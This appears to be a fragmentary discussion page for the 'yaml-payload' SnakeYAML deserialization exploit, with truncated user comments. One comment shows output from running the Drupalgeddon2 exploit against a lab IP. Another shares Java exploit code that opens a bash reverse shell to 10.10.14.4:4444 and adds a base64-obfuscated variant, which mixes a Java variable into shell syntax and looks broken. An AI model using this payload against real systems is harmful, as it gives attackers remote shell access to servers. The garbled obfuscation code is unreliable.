yaml-payload

yaml-payload copied to clipboard

kali@kali:~/Drupalgeddon2$ ruby drupalgeddon2.rb http://10.10.10.233 Traceback (most recent call last): 2: from drupalgeddon2.rb:16:in `' 1: from /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require' /usr/lib/ruby/vendor_ruby/rubygems/core_ext/kernel_require.rb:85:in `require': cannot load such file -- highline/import (LoadError)

K4IdO

**Additional Examples of Payloads**: yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java ``` public AwesomeScriptEngineFactory() { String [] cmd={"bash","-c","bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"}; String [] jex={"bash","-c","{echo,$(echo -n $cmd | base64)}|{base64,-d}|{bash,-i}"}; try { Runtime.getRuntime().exec(cmd); Runtime.getRuntime().exec(jex); Runtime.getRuntime().exec("echo $jex"); }...

ghost

Running with Spring Boot (v2.2.1.RELEASE), this technique seems to fail at the Snakeyaml invocation when attempted to pass a string to java.net.URL (at least on my machine with a test...

ctshanghai

Just to add a note. If you follow the steps from the main page it will build the file using more modern Java versions. If you try to execute it...

gunzf0x